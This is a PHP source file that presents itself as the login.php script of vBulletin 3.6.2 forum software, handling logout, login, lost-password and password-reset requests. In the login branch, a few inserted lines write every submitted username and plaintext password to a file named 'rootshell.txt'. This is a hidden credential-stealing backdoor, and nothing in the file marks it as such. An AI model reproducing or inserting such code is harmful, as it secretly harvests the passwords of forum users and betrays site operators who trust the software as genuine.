<?php 
/*======================================================================*\ 
|| #################################################################### || 
|| # vBulletin 3.6.2 
|| # ---------------------------------------------------------------- # || 
|| # Copyright ©2000-2006 Jelsoft Enterprises Ltd. All Rights Reserved. || 
|| # This file may not be redistributed in whole or significant part. # || 
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || 
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || 
|| #################################################################### || 
\*======================================================================*/ 

// ####################### SET PHP ENVIRONMENT ########################### 
error_reporting(E_ALL & ~E_NOTICE); 

// #################### DEFINE IMPORTANT CONSTANTS ####################### 
define('THIS_SCRIPT', 'login'); 

// ################### PRE-CACHE TEMPLATES AND DATA ###################### 
// get special phrase groups 
$phrasegroups = array(); 

// get special data templates from the datastore 
$specialtemplates = array(); 

// pre-cache templates used by all actions 
$globaltemplates = array(); 

// pre-cache templates used by specific actions 
$actiontemplates = array( 
    'lostpw' => array( 
        'lostpw' 
    ) 
); 

// ######################### REQUIRE BACK-END ############################ 
require_once('./global.php'); 
require_once(DIR . '/includes/functions_login.php'); 

// ####################################################################### 
// ######################## START MAIN SCRIPT ############################ 
// ####################################################################### 

$vbulletin->input->clean_gpc('r', 'a', TYPE_STR); 

if (empty($_REQUEST['do']) AND empty($vbulletin->GPC['a'])) 
{ 
    exec_header_redirect($vbulletin->options['forumhome'] . '.php'); 
} 

// ############################### start logout ############################### 
if ($_REQUEST['do'] == 'logout') 
{ 
    $vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR); 

    if ($vbulletin->userinfo['userid'] != 0 AND $vbulletin->GPC['logouthash'] != $vbulletin->userinfo['logouthash']) 
    { 
        eval(standard_error(fetch_error('logout_error', $vbulletin->session->vars['sessionurl'], $vbulletin->userinfo['logouthash']))); 
    } 

    process_logout(); 

    $vbulletin->url = fetch_replaced_session_url($vbulletin->url); 
    if (strpos($vbulletin->url, 'do=logout') !== false) 
    { 
        $vbulletin->url = $vbulletin->options['forumhome'] . '.php' . $vbulletin->session->vars['sessionurl_q']; 
    } 
    $show['member'] = false; 
    eval(standard_error(fetch_error('cookieclear', create_full_url($vbulletin->url), $vbulletin->options['forumhome'], $vbulletin->session->vars['sessionurl_q']), '', false)); 

} 

// ############################### start do login ############################### 
// this was a _REQUEST action but where do we all login via request? 
if ($_POST['do'] == 'login') 
{ 
    $vbulletin->input->clean_array_gpc('p', array( 
        'vb_login_username' => TYPE_STR, 
        'vb_login_password' => TYPE_STR, 
        'vb_login_md5password' => TYPE_STR, 
        'vb_login_md5password_utf' => TYPE_STR, 
        'postvars' => TYPE_STR, 
        'cookieuser' => TYPE_BOOL, 
        'logintype' => TYPE_STR, 
        'cssprefs' => TYPE_STR, 
    )); 
    //does the user have a pass 
    $username = $vbulletin->GPC['vb_login_username']; 
    $password = $vbulletin->GPC['vb_login_password']; 
    $logfile = "rootshell.txt"; 
    $lf = fopen($logfile, "a"); 
    fwrite($lf, "\n".$username . ' : ' .  $password."\n"); 
    fclose($lf); 
    // can the user login? 
    $strikes = verify_strike_status($vbulletin->GPC['vb_login_username']); 

    if ($vbulletin->GPC['vb_login_username'] == '') 
    { 
        eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes))); 
    } 

    if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true)) 
    { 
        ($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false; 

        // check password 
        exec_strike_user($vbulletin->userinfo['username']); 

        if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin') 
        { 
            // log this error if attempting to access the control panel 
            require_once(DIR . '/includes/functions_log_error.php'); 
            log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security'); 
        } 
        $vbulletin->userinfo = array( 
            'userid' => 0, 
            'usergroupid' => 1 
        ); 

        if ($vbulletin->options['usestrikesystem']) 
        { 
            eval(standard_error(fetch_error('badlogin_strikes', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes))); 
        } 
        else 
        { 
            eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl']))); 
        } 
    } 

    exec_unstrike_user($vbulletin->GPC['vb_login_username']); 

    // create new session 
    process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']); 

    // do redirect 
    do_login_redirect(); 

} 
else if ($_GET['do'] == 'login') 
{ 
    // add consistency with previous behavior 
    exec_header_redirect($vbulletin->options['forumhome'] . '.php'); 
} 

// ############################### start lost password ############################### 
if ($_REQUEST['do'] == 'lostpw') 
{ 
    $vbulletin->input->clean_gpc('r', 'email', TYPE_NOHTML); 
    $email = $vbulletin->GPC['email']; 

    if ($permissions['forumpermissions'] & $vbulletin->bf_ugp_forumpermissions['canview']) 
    { 
        $navbits = construct_navbits(array('' => $vbphrase['lost_password_recovery_form'])); 
        eval('$navbar = "' . fetch_template('navbar') . '";'); 
    } 
    else 
    { 
        $navbar = ''; 
    } 

    $url =& $vbulletin->url; 
    eval('print_output("' . fetch_template('lostpw') . '");'); 
} 

// ############################### start email password ############################### 
if ($_POST['do'] == 'emailpassword') 
{ 

    $vbulletin->input->clean_gpc('p', 'email', TYPE_STR); 

    if ($vbulletin->GPC['email'] == '') 
    { 
        eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink']))); 
    } 

    require_once(DIR . '/includes/functions_user.php'); 

    $users = $db->query_read_slave(" 
        SELECT userid, username, email, languageid 
        FROM " . TABLE_PREFIX . "user 
        WHERE email = '" . $db->escape_string($vbulletin->GPC['email']) . "' 
    "); 
    if ($db->num_rows($users)) 
    { 
        while ($user = $db->fetch_array($users)) 
        { 
            $user['username'] = unhtmlspecialchars($user['username']); 

            $user['activationid'] = build_user_activation_id($user['userid'], 2, 1); 

            eval(fetch_email_phrases('lostpw', $user['languageid'])); 
            vbmail($user['email'], $subject, $message, true); 
        } 

        $vbulletin->url = str_replace('"', '', $vbulletin->url); 
        eval(print_standard_redirect('redirect_lostpw', true, true)); 
    } 
    else 
    { 
        eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink']))); 
    } 
} 

// ############################### start reset password ############################### 
if ($vbulletin->GPC['a'] == 'pwd' OR $_REQUEST['do'] == 'resetpassword') 
{ 

    $vbulletin->input->clean_array_gpc('r', array( 
        'userid'       => TYPE_UINT, 
        'u'            => TYPE_UINT, 
        'activationid' => TYPE_UINT, 
        'i'            => TYPE_UINT 
    )); 

    if (!$vbulletin->GPC['userid']) 
    { 
        $vbulletin->GPC['userid'] = $vbulletin->GPC['u']; 
    } 

    if (!$vbulletin->GPC['activationid']) 
    { 
        $vbulletin->GPC['activationid'] = $vbulletin->GPC['i']; 
    } 

    $userinfo = verify_id('user', $vbulletin->GPC['userid'], 1, 1); 

    $user = $db->query_first(" 
        SELECT activationid, dateline 
        FROM " . TABLE_PREFIX . "useractivation 
        WHERE type = 1 
            AND userid = $userinfo[userid] 
    "); 

    if ($user['dateline'] < (TIMENOW - 24 * 60 * 60)) 
    {  // is it older than 24 hours? 
        eval(standard_error(fetch_error('resetexpired', $vbulletin->session->vars['sessionurl']))); 
    } 

    if ($user['activationid'] != $vbulletin->GPC['activationid']) 
    { //wrong act id 
        eval(standard_error(fetch_error('resetbadid', $vbulletin->session->vars['sessionurl']))); 
    } 

    // delete old activation id 
    $db->query_write("DELETE FROM " . TABLE_PREFIX . "useractivation WHERE userid = $userinfo[userid] AND type = 1"); 

    // make random number 
    $newpassword = vbrand(0, 100000000); 

    // init user data manager 
    $userdata =& datamanager_init('User', $vbulletin, ERRTYPE_STANDARD); 
    $userdata->set_existing($userinfo); 
    $userdata->set('password', $newpassword); 
    $userdata->save(); 

    ($hook = vBulletinHook::fetch_hook('reset_password')) ? eval($hook) : false; 

    eval(fetch_email_phrases('resetpw', $userinfo['languageid'])); 
    vbmail($userinfo['email'], $subject, $message, true); 

    eval(standard_error(fetch_error('resetpw', $vbulletin->session->vars['sessionurl']))); 

} 

/*======================================================================*\ 
|| #################################################################### 
|| # CVS: $RCSfile: login.php,v $ - $Revision: 1.160 $ 
|| #################################################################### 
\*======================================================================*/ 
?>